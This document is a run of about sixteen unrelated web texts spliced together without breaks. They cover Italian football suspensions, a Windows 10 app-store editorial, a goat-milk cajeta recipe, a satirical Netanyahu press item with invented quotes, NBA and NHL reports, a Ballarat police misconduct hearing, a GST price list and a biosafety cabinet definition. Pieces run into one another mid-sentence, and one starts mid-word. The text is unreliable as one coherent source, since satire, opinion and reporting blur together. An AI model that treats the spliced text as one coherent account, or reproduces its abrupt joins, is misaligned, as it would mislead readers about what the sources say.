Also missing the last match of the season are Emmanuel Cascione [Cesena], Bostjan Cesar [Chievo], Danilo D’Ambrosio [Inter], Panagiotis Kone [Udinese], Massimo Maccarone [Empoli], Norberto Neto [Fiorentina] and Vasilis Torosidis [Roma], with all of them having been booked and crossed the disciplinary threshold.
Milan Coach Filippo Inzaghi has also been fined €5,000 after insulting the referee during his side’s win over Torino, something which he was sent to the stands for.The Windows and Windows Phone stores have routinely been criticised for their having an “app gap”, a perceived gap in quality and quantity of apps in the Windows stores for both PCs and Mobile devices.
Microsoft launched Windows 10 with the lofty goal of attaining a userbase so massive, even developers wouldn’t be able to ignore Windows, and by extension Windows 10 Mobile and the Xbox, when considering platforms for which to develop apps.
But there’s a problem, the new Windows store seemingly hasn’t been doing as well as Microsoft hoped it would when it comes to developer outreach and uptake. The firm itself isn’t acknowledging this fact explicitly, but a series of implicit gestures point to this.
In late 2015, Microsoft introduced a tag in the Windows store which marked apps as “built for Windows 10”, this tag replaced the older universal app logo that had gone missing in the transition to Windows 10 and Windows 10 Mobile from the Windows 8.1 and Windows phone stores. Oddly enough, Microsoft has since removed that tag from the store and now does not show whether an app is a universal Windows 10 app or not.
In addition to this, Microsoft doesn’t allow users to filter apps by universal Windows apps or not, even though the firm should be able to look at the store packages and determine whether an app targets Windows 10 or not.
Big name developers have also not taken to the Windows 10 vision in any appreciable number. Sure users can point out that Facebook, Twitter, and Uber are here, but there are caveats. Aside from the majority of these developers already existing on Windows, Facebook for Windows 10 is a ported OSMeta app. The firm is making use of two different app binaries that target Mobile and PCs separately by porting from their iPhone and iPad apps using in-house technology. What this means is that Microsoft’s UWP may have been less of a factor in Facebook’s app coming to Windows 10 than stated.
Even Twitter and Uber, despite having made noises that indicated support of Windows 10 Mobile, do not provide full support for the platform. Uber’s app still dons its old logo and design language, and Twitter’s periscope, gif and sticker integration features are nowhere to be found.
Letts’s not forget promised apps that have yet to arrive, Microsoft’s Wunderlist productivity app is still yet to arrive for mobile users in beta form ever, despite being announced over a year now. WeChat and Netflix’s universal apps for mobile devices have yet to materialise, despite the former demoing an app at build 2015 and the latter announcing their app at the tail end of 2015.
Even more damning is Microsoft’s by the numbers page. Usually, the firm updates the app count to reflect the number of apps in the store on a near quarterly basis. Yet, since Windows 10 launched over a year ago, the firm has failed to provide any numbers beyond that of the 669k apps listed in 2015. It would be one thing if Microsoft didn’t routinely deliver statistics updates for Windows 10, but the fact that the firm does mean that the Windows store app and download count remain conspicuous by their absence.
Venturebeat noticed this a while ago, pointing out that even if the store grew at a comparatively miniscule rate of 100 apps a day, it would be about to reach 900 thousand apps. That is looking less and less likely by the day. In fact, the worst case scenario would be that due to the fall of Windows phones and the culling of spam apps, the Windows store now actually has fewer apps than it did before.
Another source comes in the unlikely form of an app. 9Zen store is an app in the Windows Store which allows users to filter apps by ap type provided a list of universal apps for Windows 10. Now, while I do not belive the app count from that app to be comprehensive, it only turned up a meagre 420 universal apps by my count. Due to Microsoft not allowing users to search for universal apps in the store, that is the only concrete number we have of actual universal apps in the store, 420. Ouch.
Even when we look at the desktop app engagement – as in actual usage – the story doesn’t get much better. Microsoft watcher, Paul Thurrott observes that Microsoft’s Windows Store actually has less engagement on Windows 8.x and its users than it does for Windows 10 users, which lines up with my anecdotal evidence from looking at the computers of casual users as well as with developers. One developer complained to me that his app – paid – was one of the top 500 apps in the USA Store, despite having sold only 20 copies for both PC and mobile devices in the past month. Another developer pointed out that the Windows 10 store had barely moved the needle, with Windows 10 phones still taking up the majority of downloads. Yet another ex-Microsoft developer, in speaking to Kotaku about the games for the Windows store stated “The Windows Store is a giant disaster. It’s on fire” I really shouldn’t have to point out how awful that is.
In my review of the Windows 10 Mobile Anniversay Update, I pointed out that the platform was not suitable for the average mobile user due to a lack of apps. I believe it is proper to expand on it here in this editorial. Due to a lack of app support, Microsoft’s Windows phone platform now commands 0.3% or market share, or barely a rounding error in the mobile market, Not only are new apps not going to come out on Windows 10 Mobile – as users would have since found out but older apps are liable to drop support and move on to better platforms sooner rather than later. Even basic apps like WhatsApp and Messenger may abandon the platform like they have done to smaller platforms and like Microsoft itself does to Linux, Tizen and BB10.
This doesn’t affect desktop users so much as mobile users. Desktop users have access to universal apps, Chrome apps, web-apps, Win32 apps and even more. There is a large library of software for anyone with a Windows PC or laptop to access. While Xbox users are also included in the universal Windows vision, Microsoft intends to limit the Xbox store to apps that make sense on a TV, ensuring that only a small curated number of apps make it to the TV via the Xbox. For Windows 10 Mobile users, the failure of the Windows 10 store to assuage the app flight and app gap is yet another nail in the coffin of the mobile platform. For Microsoft, it remains a dream that must be realised if relevance in the consumer market is to remain something other than a pipe dream.I agree with Jonathan below that the Constitution (through the spending power) allows Congress to spend tax money to protect the Earth from an asteroid.
On the other hand — and at the risk of confirming Mark Kleiman in his belief that libertarians are loopy — I don’t speak for all libertarians, but I think there’s a good case to be made that taxing people to protect the Earth from an asteroid, while within Congress’s powers, is an illegitimate function of government from a moral perspective. I think it’s O.K. to violate people’s rights (e.g. through taxation) if the result is that you protect people’s rights to some greater extent (e.g. through police, courts, the military). But it’s not obvious to me that the Earth being hit by an asteroid (or, say, someone being hit by lightning or a falling tree) violates anyone’s rights; if that’s so, then I’m not sure I can justify preventing it through taxation.
Bryan Caplan once suggested the asteroid hypo to me as a reductio ad absurdum against my view. But a reductio ad absurdum doesn’t work against someone who’s willing to be absurd, and I may be willing to bite the bullet on this one.
On the other hand, if you could show that, once the impending asteroid impact became known, all hell would break loose and lots of rights be violated by looters et al. during the ensuing anarchy, I could justify the taxation as a way of preventing those rights violations; but this wouldn’t apply if, say, the asteroid impact were unknown to the public.
This does make me uncomfortable, much like my view that patents are highly useful but morally unjustifiable, so I’m open to persuasion.If you want the best dessert topping in the world…. you HAVE to make cajeta. Dessert topping, flavoring for your coffee, a spoonful for your mouth…whatever you decide to do with it, it’s worth the time. Cajeta is basically a dulce de leche or caramel made from goat’s milk and sugar. The milk is heated until the sauce thickens, browns, and gets super tasty for your mouth. I have made plenty of cajeta, but since I got back from Mexico in February, I have been making it in a copper pot, also known as a cazo de cobre. It is a traditional way to make cajeta, and really helps to speed the process because of the excellent conduction and distribution of heat. If you don’t have a copper pot, you can use a heavy pot as long as it’s not cast iron.
On to the recipe… First thing’s first… you need some goat milk. Lucky me, I live on a goat dairy. For my recipe, I used a gallon of milk. It condensed down to about two and a half pints. Here’s all the ingredients you will need:
1 Gallon goat milk
4 Cups of sugar
1 Tablespoon of vanilla extract
1/2 teaspoon of baking soda disolved in a tiny bit of tepid water
Pour your milk into your pot and add the sugar and vanilla. Turn the heat on medium and stir it all up.
Heat the milk to a nice simmer… stir frequently. Add the baking soda and water mixture. You may want to take the pot off the heat because it will bubble up when you put in the baking soda. I just add it very slowly and it doesn’t foam up too much.
Keep simmering… and stirring…
Slowly, the milk will start to evaporate and the sauce will begin to thicken.
Keep stirring often.
When it is as thick and dark as you like it, remove it from the heat. I have found that I like mine very thick and very brown. If you want your sauce to be thinner… stop sooner. Thicker? Stop later. Just don’t let it burn… and keep stirring.
It’s all a matter of your taste.
When it’s done, pour it into a heat safe pitcher (or straight into heated jars). Then pour into some canning jars and store in your fridge. I like to take a part of each batch and mix it with some nice bourbon.
This photo is from a previous batch that was thinner and lighter. Half of the batch we mixed with some Eagle Rare, a very tasty bourbon. (We didn’t use the whole bottle in the cajeta… really) Enjoy!If Manhattan and Brooklyn have always been the talk of the town in terms of real estate development, it’s time for Queens and the Bronx to step into the limelight.
Backed up by strong demand and low vacancies, construction activity has been picking up in less hyped areas of New York City, with major new developments reshaping old neighborhoods including Long Island City and Flushing in Queens, and Melrose in the Bronx.
Although not as opulent as the sky-high masterpieces popping up on the Manhattan horizon, the new projects that went up in NYC’s less glitzy boroughs in the last decade each have their own appeal. Here are some of the most impressive buildings that contributed to the amazing growth of both Queens and the Bronx, provided by our friends at RENTCafé.
Simply drag the arrow bar back-and-forth to view the old and the new images.
1. 2 Gotham Center, Linc LIC, 27 on 27th – Long Island City, Queens
2. Q41 Apartments, Crescent Club, Packard Square – Long Island City, Queens
3. Vista Condominium, 26-14 Jackson Avenue, 26-20 Jackson Avenue, The Vere – Long Island City, Queens
4. The Powerhouse Yard, Gantry Park Landing, Hunters Point South – Hunters Point, Queens
5. Sky View Parc – Flushing, Queens
6. 26-20 21st Street, The Exo – South Astoria, Queens
7. El Jardin de Selene – Melrose, The Bronx
8. Via Verde Residences – Melrose, The Bronx
9. Courtlandt Corners I and II (a.k.a. The Upton)- Melrose, The Bronx
10. Boricua College Vertical Campus, The Residences at Northrose – Morrisania, The Bronx
11. Roscoe C. Brown, Jr. Apartments, Lindenguild Hall – Claremont Village, The Bronx
Check out more nifty before-and-after sliders to compare the vertical growth in both Queens and the Bronx from 2007 to 2014 on RENTCafé.
What is your favorite change to the streetscape of New York City?JERUSALEM—denouncing the US-Iranian nuclear accord as just a “Band-Aid solution,” Israeli Prime Minister Benjamin Netanyahu today demanded a series of changes in the deal to make it more acceptable.
“First,” said Netanyahu, “the Iranian government must cease all nuclear activity, and have all its nuclear equipment taken away.\
“Second, the Iranian government must resign in disgrace and go into exile, and the Iranian people must be able to choose their government freely in democratic elections, and they must choose a center-right government that strongly supports Israel.
“Third, we must be given a realistic plan to lose thirty pounds in thirty days, without changing our diet or exercising.
“Lastly, I want a pony.”
When reporters asked Netanyahu what the Iranian government would receive in exchange for these concessions, he grinned, and in a dramatic gesture held up a fistful of 2-for-1 drink coupons at the Tel Aviv Chili’s. “Any more questions?”
The Israeli PM, moments after being told that snacks would not be served at the press conference
AdvertisementsNov 5, 2014; Boston, MA, USA; Boston Celtics guard Marcus Smart (36) drives the ball against Toronto Raptors forward James Johnson (3) and guard Kyle Lowry (7) in the second half at TD Garden. The Toronto Raptors defeated the Boston Celtics 110-107. Mandatory Credit: David Butler II-USA TODAY Sports
Boston Celtics News: Celtics and 76ers Win? It’s The End of The World As We Know It!
Boston Celtics News: Celtics and 76ers Win? It’s The End of The World As We Know It! by Richard Spalding
According to ESPN.com’s Chris Forsberg, among others, the Celtics have assigned Marcus Smart to the Maine Red Claws of the developmental league. The rookie point guard will be joined by fellow first-year players James Young and Dwight Powell.
All three are expected to play in tonight’s game against Fort Wayne. This is a good opportunity for the rookies to get playing time, as Boston is not practicing today, following back-to-back games.
Smart, who has been sidelined since November 7th due to an ankle injury, played sparingly in his return against the Pistons. The sixth overall pick in June’s NBA draft was on the floor for just 4:38 and missed all three of his shots, which all came from three-point range.
While he may not have contributed much on the offensive end, Smart was his typical tenacious self defensively, in the limited minutes that he played.
He, along with Young and Powell, are expected to rejoin the team for Friday’s home game against the Los Angeles Lakers.
Through the first six games of his NBA career, Smart is averaging 5.7 points, 2.2 rebounds and 1.3 assists per game. As expected, his biggest contributions have come on the defensive end, where he has allowed 99.1 points per 100 possessions.Gov. Terry McAuliffe uses Virginia shooting to advance 2020 presidential bid
Governor Terry McAuliffe stepped up to the microphone purportedly to answer questions about the Virginia shooting, but instead entered campaign mode.
That would seem to be strange behavior for a man who will be leaving office in seven short months, that is unless he was campaigning to be President of the United States.
Asked specifically what more could be done “to protect politicians”, McAuliffe didn’t suggest beefing up security, nor anything else about this growing issue. He pivoted. “I think we need to do more to protect all of our citizens”, he said. That sure sounds like a man running for something.
Launching into full campaign mode he spoke of his long advocacy for greater gun control. “There are too many guns on the street”, he declared. “We lose 93 million Americans a day to gun violence”, he slowly emphasized (what?).
Yes, McAuliffe said 93 million a day. To drive home that campaign sound bite, he repeated that statistic two more times, before a reporter corrected him.
Governor McAuliffe answers questions about the Virginia shooting:
The term-limited Virginia governor has been dropping very broad hints on several occasions over the past three months that he intends to seek the 2020 Democratic presidential nomination. There are good reasons to believe that if he does run, he’ll be a nearly unstoppable favorite to garner the nomination.
The current triumvirate of party leaders, Chuck Schumer, Nancy Pelosi, and DNC chair Tom Perez are old guard Democrats that would scurry to line-up early behind McAuliffe in order to prevent a more leftist ‘Warren type’ candidate from getting traction toward the nomination.
His long, close association with Bill and Hillary, makes him the heir apparent to what’s left of the Clinton political machine.
McAuliffe hijacked his own press conference on the Virginia shooting, choosing instead to talk about gun control. He was focused on an issue that he intends to promote during his 2020 presidential bid, not the horrific event that occurred that morning, nor its victims.
The only thing missing at yesterday’s press conference, was an official announcement.MINNEAPOLIS -- D.J. Augustin's career was swirling down the drain when the Toronto Raptors waived him in December, and the former No. 9 overall pick seemed destined to join the long list of promising prospects that just never made it in the NBA.
Four days later, the Chicago Bulls signed him in an attempt to add some scoring punch to a defense-first team. Augustin has flourished in Chicago, one of the big reasons the surprising Bulls have been able to weather Derrick Rose's injury and the trade of Luol Deng to stay in the hunt in the Eastern Conference.
"We needed him," Bulls coach Tom Thibodeau said, "and he needed us."
Augustin had another big game Wednesday night, scoring 21 points to lead Chicago to a 102-87 victory over the Minnesota Timberwolves.
Joakim Noah added 15 points, 13 rebounds and 10 assists for his fourth triple-double, moving into a tie with Indiana's Lance Stephenson for the most in the NBA this season. Kirk Hinrich scored 16 points on 7-of-9 shooting and the Bulls hit 11 of 21 3-pointers to stay right on Toronto's heels for the third seed in the Eastern Conference.
"We wouldn't be in this position without D.J.," Noah said. "His passing ability, his scoring ability, just the way he plays the game.... I feel like I have really good chemistry with him and I think the rest of this team feels that way, too. We're going to need him down the stretch."
Kevin Love had 17 points and 10 rebounds for the Timberwolves. But he hyperextended his right elbow in the first half and only made 7 of 20 shots, including 2 of 8 3-pointers. Ricky Rubio added 15 points and six assists, but the Wolves were just 4 for 17 from long distance.
"I should've made a lot of those open shots that I missed," said Love, who also had a large bloody scratch on his chest after getting tied up with Carlos Boozer. "Yeah it was bothering me a little bit. But that's no excuse for the poor shooting."
The Bulls entered the night with the same record as Toronto, with the tiebreaker going to the Raptors and only five games to play before the playoffs begin. The schedule certainly favors the Raptors, who beat the 76ers on Wednesday night and finish the season with two games against the Knicks and one each against the Pistons and Bucks.
Thanks to the raggedy East, the Bulls don't have it much tougher with the Pistons, Knicks and Magic coming up before the season finale at playoff-bound Charlotte. That made this game against short-handed Timberwolves a crucial one.
The Timberwolves played without Nikola Pekovic (right foot), Chase Budinger (right ankle), Kevin Martin (right heel), Shabazz Muhammad (right knee) and J.J. Barea (back and neck), leaving them with only 10 healthy players, and without three of their better offensive players to go at the tenacious Bulls defense.
But even though the Wolves have been eliminated from playoff contention, they've put up quite a fight against some of the best teams in the league down the stretch. Last week Minnesota beat Memphis at home and won at Miami. The Wolves then throttled the Spurs at Target Center on Tuesday night and shot 52.6 percent to take a 53-48 lead over the Bulls at halftime.
Eventually that Bulls defense started squeezing the Wolves and grinding the game down. The Wolves missed eight of their first 10 shots of the second half and scored only 17 points in the third quarter. They shot 33 percent and managed just 34 points in the second half.
"It looked like we ran out of gas in the second half," Wolves coach Rick Adelman said.
On the other end, the 3s kept falling. Mike Dunleavy, who had 15 points, hit one to give the Bulls a 65-62 lead they would never relinquish.
Augustin hit two more in the fourth to help the Bulls pull away. Even bigger were his 14 points on 6-of-9 shooting in the first half, when the Bulls were struggling to get their offense going.
"I'm just getting a chance to play, period," Augustin said. "Just getting an opportunity and trying to make the best of it."
Game notes
Bulls F Taj Gibson finished with 13 points and five rebounds. He picked up a technical foul in the fourth quarter for gesturing angrily after not getting a foul call under the basket.... Little-used PG Alexey Shved had nine points and a season-high five assists in 16 minutes for Minnesota.... The Wolves host their former coach and GM Kevin McHale and the Houston Rockets on Friday night in their third home game of the week.This puts him in the top 1 per cent of most-complained-against male officers in Victoria Police - more than five times the average of male officers. A mother who went to Ballarat Police Station to complain about police treatment of her son is violently arrested. In other footage shown on Wednesday during the hearing investigating an alleged culture of bad behaviour by Ballarat police, Sergeant Taylor can be seen putting two other women in chokeholds, the Courier reports. Sergeant Taylor conceded that it "didn't look good". On Monday the hearing was shown video of a 51-year-old female police officer who was stripped, kicked and stomped on in the police station's cells.
The videos released by the Independent Broad-based Anti-corruption Commission on Wednesday were of a similar nature. Two officers drag the woman across the floor, an image from the footage shows. In one video, dating from April 25, 2009, Sergeant Taylor can be seen putting two woman, known as Persons C and D, in chokeholds "I know it doesn't look good, but there is obviously more to it than I can remember," he told the hearing. Officers carry the woman, holding her by her arms and legs.
The hearing was told Person C had attended the Ballarat Police Station to inquire about her son who had been arrested, before forcibly being removed by Sergeant Taylor. He told the hearing she had become "aggressive and fired up". The woman is dragged across the floor. The same footage shows a second woman, Person D, being brought back into the station in a chokehold only seconds later. Sergeant Taylor told the inquiry that events could escalate quickly and get "out of control".
In the second incident a woman, known as Person B, arrived at the station on December 8, 2010 accusing police of harassing her son, who had been intercepted earlier over allegations of hoon driving. The officer refused to take the woman's complaint and then arrested her after manhandling her when she refused to leave the station. The woman was initially charged with assaulting police but the charges were later dropped. Assisting Counsel Jack Rush QC put it to Sergeant Taylor he was "abusive and aggressive" during the CCTV footage. "She threw his licence at me," Sergeant Taylor said. "She stated he had a licence, I tried to explain because he had a physical licence, it didn't mean it was current."
"I became more forceful for her to leave … I was trying to explain the situation to her, but she didn't want to listen," he said. "That's when I decided it was time for her to leave. "When I first walked out I let her have her say [but from] the minute I walked out she was abusive." Video shows Sergeant Taylor and a constable pulling on the arms of, and carrying the woman. Sergeant Taylor told the inquiry he had asked the woman to leave five or six times while directing her out of the station.
The CCTV footage showed Sergeant Taylor and a female constable grabbing the woman by the arms and carrying her towards the station's interior door where she was arrested. Mr Rush asked Sergeant Taylor whether he thought the situation could have been avoided. He replied "looking back now, yes". "Would you say you were angry?", Mr Rush asked during Wednesday's public hearing. "I wouldn't say I was calm," Sergeant Taylor replied.
Sergeant Taylor denied putting his knee into the back of the woman and when asked also denied being told by other police officers to "take it easy". He told the inquiry the incident was dealt with internally and he was given workplace guidance for not taking the complaint on the night. The hearing heard another three complaints had been filed against Sergeant Taylor since 2010, including an alleged assault on October 7, 2011, failure to take appropriate action on September 31, 2013 and allegations of improper aggressive behaviour on October 4, 2013. Sergeant Taylor told the inquiry no charges had been laid against him, but he was made to complete a disciplinary course. Sergeant Taylor also gave evidence about the incident involving Person A, a 51-year-old female police officer who was kicked and stomped on after being arrested for being drunk in a public place in January last year.
He told the inquiry he was off-duty on the night, but later took control after Sergeant Renee Hulls was taken to the hospital. He said it was when the woman was dragged from the storage room she ran into after being pepper-sprayed when she said "It's OK, I'm one of you". "I thought this was odd," Sergeant Taylor told the inquiry. The hearing heard this encouraged him to undertake further investigations with professional standards. They confirmed the woman was a member of their office who had been on leave for the previous 12 months with mental health issues.
Sergeant Taylor said he passed that information on when Sergeant Hulls returned to the station hours later and also briefed the duty inspector at the time, Peter Greaney, who was not in the area. Mr Rush asked Taylor whether it was appropriate to ensure someone with mental health issues was being cared for. Sergeant Taylor said while it was a high priority it wasn't something he did. Loading The hearing continues. The CourierUPDATE, 2:30 p.m. PST: This post has been updated to include a statement from Dr. Luke denying that his relationship with Sony is being terminated.
Almost a year and a half after Kesha first accused Dr. Luke of rape and physical and emotional abuse during their 10-year working relationship, Sony Music intends to cut ties with the producer before his contract expires in 2017, according to a Wednesday report by The Wrap.
Hours later, representatives for Dr. Luke, whose real name is Lukasz Gottwald, told Mashable that the report was unsubstantiated:
This is not true. Luke has an excellent relationship with Sony. His representatives are in regular contact with executives at the highest levels at Sony and this has never come up.
Lawyers and representatives for Sony |
ara of Boston University’s School of Medicine and Kelly Bulkeley at the Graduate Theological Union in Berkeley, California, co-authored the theory, which was published in Frontiers in Psychology in March.
The researchers believe this process begins with REM sleep, during which the prefrontal cortex’s ability to interpret and credit the “self” as responsible for feelings and actions is diminished. This “REM-associated diminution of agency” involves dreamers surrendering their ownership of experience to the characters in dreams.
These characters and their actions are very memorable due to their “counterintuitive” nature—their designs and behaviors are perfectly calibrated between absurdity and believability. Combined, these factors produce sustained conscious belief in a supernatural entity that originated in the dreamer’s mind.
Preliminary evidence also suggests that dreams function as “simulated” state where the dreamer can “play out” future scenarios or reimagine previous ones. The dreamer’s ownership of subjective experience is weakened while dreaming, which may explain many believers’ conviction that some “other force” is communicating with them or guiding their waking lives.
While this may sound farfetched, the dream-deity connection is not a radical proposition. The idea of dreams as a “primary source for religious ideas and practices” has roots in humanity’s ancient past. Cave art dating back 28,000 years depicts supernatural figures (human-animal hybrids) and shamans induced in sleep/dream trances. Ethnologists agree that most religious traditions emphasize the existence and significance of visions and dreams. The authors cite the Bible’s Jacob and Japan’s Lady Serafina as two pivotal examples.
This shared cultural connection to spirituality may share a neurological origin in dreams. “All humans,” the study authors write, “are endowed with brains innately primed to daily generate god concepts in dreaming.”
Value-formation in dreams is another key ingredient of deity belief. A wealth of studies have reported how chemicals and structures in the limbic system and amygdala directly produce value formation. These systems are active during the REM stage of sleep, suggesting that the pursuit of value in dreams (achieving something positive, avoiding something negative) mirrors the pursuit of value believers engage in with their deity of choice.
Dream content during REM also tends to be more bizarre, illogical, and emotional than non-REM content. Reports of benign or helpful dream characters most occur during non-REM sleep while negative or evil “spirits” reign during REM. Negative themes and themes of “victimization” (running away from danger) occur in over 65% of all dreams, while positive or successful dream outcomes happen less than 50%. The researchers believe feelings of reduced agency in dreams are the result of the diminution process, which then lead to a strengthened belief in a god.
Lastly, the researchers reference “REM intrusion,” the condition of experiencing a delusional dream-like state while awake, as more evidence for dream content affecting real-world beliefs. This is common in people with schizophrenia and can also result from sleep-deprivation.
“Although dreams are difficult to study scientifically,” write McNamara and Bulkeley, “the sheer fact of their scientific and cultural ubiquity makes them an important topic for brain-mind research.” They posit that the cultural and neurological clues surrounding agency and sleep “naturally lend themselves to attributions of special powers to ‘special characters/beings’ in dreams and therefore to religious meaning and purpose.”EXCLUSIVE! Porn Giant XHamster Is Shutting Off Access For North Carolina Because Of Anti-LGBT Law!
Bigotry has yet another consequence — this time, with porn!
Online porn giant XHamster.com is shutting off access to viewers with IP addresses in North Carolina beginning Monday morning as a direct result of the state’s horrible anti-LGBT law that was recently passed!
Related: Father Kills Son After Finding Out That He Was Gay
And in a statement XHamster shared EXCLUSIVELY with us, the site revealed their commitment to fighting for LGBT rights and clapping back against blatant discrimination:
“We are appalled by the recent events that have transpired in North Carolina. We have spent the last 50 years fighting for equality for everyone and these laws are discriminatory which XHamster.com does not tolerate. As of today, access to XHamster.com is blacked out in the state of North Carolina until further notice. Judging by the stats of what you North Carolinians watch, we feel this punishment is a severe one. We will not standby and pump revenue into a system that promotes this type of garbage. We respect all sexualities and embrace them.”
Good for XHamster for doing something about House Bill 2, North Carolina’s controversial law in question!
And good for them for calling out the state’s porn habits, too! Ha!!
As continued pressure from all directions comes down upon some of these bigoted states, let’s see if they make the right choices to back down from these awful, awful laws…
[Image via XHamster.]Here is what gets cheaper and dearer after GST rolls out
New Delhi : After a decade-long wait, Goods and Services Tax (GST) has finally been rolled out in India, making it the biggest tax reform since Independence. Here a list of products that will get cheaper and dearer with one tax policy implemented.
Items that will now cost less:
Eatables
1. Milk powder
2. Curd
3. Butter milk
4. Unbranded natural honey
5. Dairy spreads
6. Cheese
7. Spices
8. Tea
9. Wheat
10. Rice
11. Flour
12. Spices
13. Groundnut oil
14. Palm oil
15. Sunflower oil
16. Coconut oil
17. Mustard oil
18. Sugar
19. Jaggery
20. Sugar confectionery
21. Pasta
22. Spaghetti
23. Macaroni
24. Noodles
25. Fruit and vegetables
26. Pickle
27. Murabba
28. Chutney
29. Sweetmeats
30. Ketchup
31. Sauces
32. Toppings and spreads
33. Instant food mixes
34. Mineral water
35. ice
36. Sugar
37. Khandsari
38. Biscuits
39. Raisins and gum
40. Baking powder
41. Margarine
42. Cashew nuts
Items of daily use
1. Bathing soap
2. Hair oil
3. Detergent powder
4. Soap
5. Tissue papers
6. Napkins
7. Matchsticks
8. Candles
9. Coal
10. Kerosene
11. LPG domestic
12. Spoons
13. Forks
14. Ladles
15. Skimmers
16. Cake servers
17. Fish knives
18. Tongs
19. Agarbatti
20. Toothpaste
21. Tooth powder
22. Hair oil
23. Kajal
24. LPG stove
25. Plastic tarpaulin
Stationery
1. Notebooks
2. Pens
3. All types of paper
4. Graph paper
5. School bag
6. Exercise books
7. Picture, drawing and colouring books
8. Parchment paper
9. Carbon paper
10. Printers
Healthcare
1. Insulin
2. X-ray films for medical use
3. Diagnostic kits
4. Glasses for corrective spectacles
5. Medicines for diabetes, cancer
Apparels
1. Silk
2. Woollen fabrics
3. Khadi yarn
4. Gandhi topi
5. Footwear below Rs 500
6. Apparel up to Rs 1,000
Others
1. Diesel engines of power not exceeding 15HP
2. Tractor rear tyres and tubes
3. Weighing machinery
4. Static converters (UPS)
5. Electric transformers
6. Winding wires
7. Helmet
8. Crackers and explosives
9. Lubricants
10. Bikes
11. Movie tickets less than Rs 100
12. Kites
13. Luxury cars
14. Motorcycles
15. Scooters
16. Economy-class air tickets
17. Hotels with tariff below Rs 7,500
18. Cement
19. Fly ash bricks and blocks
Items that will now cost more:
1. Paneer
2. Cornflakes
3. Coffee
4. Masala powder
5. Curd
6. Ghee
7. Biscuits
8. Chewing gum
9. Ice-cream
10. Tea
11. Chocolates
12. Spices
13. Ayurvedic and other alternative medicines
14. Gold
15. Hotels with room tariffs above Rs 7,500
16. Fine-dining restaurants
17. Restaurants inside five-star hotels
18. Movie tickets above Rs 100
19. Concerts
20. IPL matches
21. Clothes above Rs 1,000
22. Shampoos
23. Perfumes
24. AC and first-class rail tickets
25. Business-class
26. Air-conditioner
27. Fridge
28. Washing machine
29. Television
30. Courier services
31. Mobile phone charges
32. Insurance premiums
33. Banking charges
34. Broadband services
35. Credit card bill
36. Two-wheelers with engine capacity of more than 350 cc
37. Small and mid-size cars
38. SUVs
39. Fishing nets
40. Smartphones
41. Laptops
42. Desktops
43. Yoga mats
44. Fitness equipment
45. Aerated drinks
46. Cigarettes
47. Tobacco
48. Alcoholic drinks
49. Luxury goodsRyan O’Reilly leads the Avalanche with 24 goals, 61 takeaways and zero penalties.
That third number is not a typo. O’Reilly has not seen the inside of a penalty box since last season.
O’Reilly uses precise skills to rack up goals, cause turnovers and play a gentlemanly game. He is the NHL’s most aggressive-passive personality, a perfect contradiction to benefit the Avalanche.
“Growing up, my parents always told me, you can never score from the penalty box. You can never help the team win from the box,” O’Reilly said.
Having played in 61 of 63 games for the Avs, O’Reilly is the only NHL player to have zero penalties despite playing in at least 34 games. Pittsburgh defenseman Rob Scuderi is the only other player to have zero penalties in more than 20 games.
Yet O’Reilly’s aggressiveness has him ranked third in the league in takeaways. He trails Chicago’s Marian Hossa (65) and San Jose’s Joe Thornton (62) in that department, but Hossa and Thornton entered Friday with 16 and 14 penalty minutes, respectively.
O’Reilly’s rare combination of scoring and clean grit makes him the top contender to win the NHL’s Lady Byng Memorial Trophy as the best player who displays the most gentlemanly conduct. Joe Sakic is the only Avalanche player to win the award — in 2001, when Sakic captained Colorado to its second Stanley Cup.
In the 11 seasons since then, future Hall of Famers Pavel Dats- yuk and Martin St. Louis have combined to win the award seven times.
“You look at Sakic and the other names who won that award, and those are great hockey players,” O’Reilly said. “It’s being able to be an effective player within the confines of the game.”
Sakic, now the Avalanche’s top executive, and coach Patrick Roy weren’t aware of O’Reilly’s goose egg until last week.
“No incidental tripping? That’s remarkable,” Sakic said.
“He does not play like that. He’s really good in his battles. He competes,” Roy said of O’Reilly. “He’s playing within the limits, and it’s not a bad thing at all. It doesn’t have any effect on the way he’s been playing and the way I see him as playing. It’s pretty impressive.”
O’Reilly said two things contribute to his penalty-free season: luck and leeway. He said he could have been called for various accidental tripping or interference minors, but thinks his reputation for being such a controlled player buys him a little leeway.
“Use your stick, but keep it down,” O’Reilly said of the basic principles he was taught as a youngster. “You can be aggressive without taking a penalty and jeopardizing the team.”
No other Avalanche player practices stick skills as much as O’Reilly, who has been known to treat the ice sheet as a playground. He sometimes plays games by himself or with young teammates Tyson Barrie and Nathan Mac-Kinnon an hour or more after other members of the Avalanche have showered.
“With Nate and Tyson, we do little control things with your stick, looking at every little detail,” O’Reilly said. “It does carry over to the game, and how you’re using your stick.”
O’Reilly practices yoga, and says that also plays into how he plays hockey.
“Yoga in general is a big practice in discipline, the control over your whole body,” O’Reilly said. “On the ice, it’s a way of practicing discipline. It does obviously help. You’re defending a guy and aware of your body. You can’t put your stick in a certain area. It does correlate.”
O’Reilly does not expect his penalty-free season to continue. He’s waiting to commit a five-minute major for fighting.
“I’m not saying penalties are bad. If someone buries (star center Matt) Duchene from behind, I got to jump in and fight the guy. It’s something you have to do,” O’Reilly said. “There are some good penalties. If a guy is on a breakaway and has a good chance, and you hook him, that’s a good penalty. So I’m not going to play the game not wanting to take a penalty. I still have to be aggressive and keep my edge.”
Mike Chambers: mchambers@denverpost.com or twitter.com/mchambers
Cleaning up
The NHL’s top takeaway leaders, plus their penalty minutes and goals:
Player, teamTkAPIMGMarian Hossa, Chicago 65 16 24 Joe Thornton, San Jose 62 14 9 Ryan O’Reilly, Colorado 61 0 24 Andrej Sekera, Carolina 60 18 11 Eric Staal, Carolina 60 62 16
Mike Chambers, The Denver PostA biosafety cabinet ( BSC )—also called a biological safety cabinet or microbiological safety cabinet —is an enclosed, ventilated laboratory workspace for safely working with materials contaminated with (or potentially contaminated with) pathogens requiring a defined biosafety level. Several different types of BSC exist, differentiated by the degree of biocontainment required. BSCs first became commercially available in 1950. [1]
The primary purpose of a BSC is to serve as a means to protect the laboratory worker and the surrounding environment from pathogens. All exhaust air is HEPA -filtered as it exits the biosafety cabinet, removing harmful bacteria and viruses. [2] This is in contrast to a laminar flow clean bench, which blows unfiltered exhaust air towards the user and is not safe for work with pathogenic agents. [3] :13 [4] Neither are most BSCs safe for use as fume hoods. [2] Likewise, a fume hood fails to provide the environmental protection that HEPA filtration in a BSC would provide. [5] However, most classes of BSCs have a secondary purpose to maintain the sterility of materials inside (the "product").
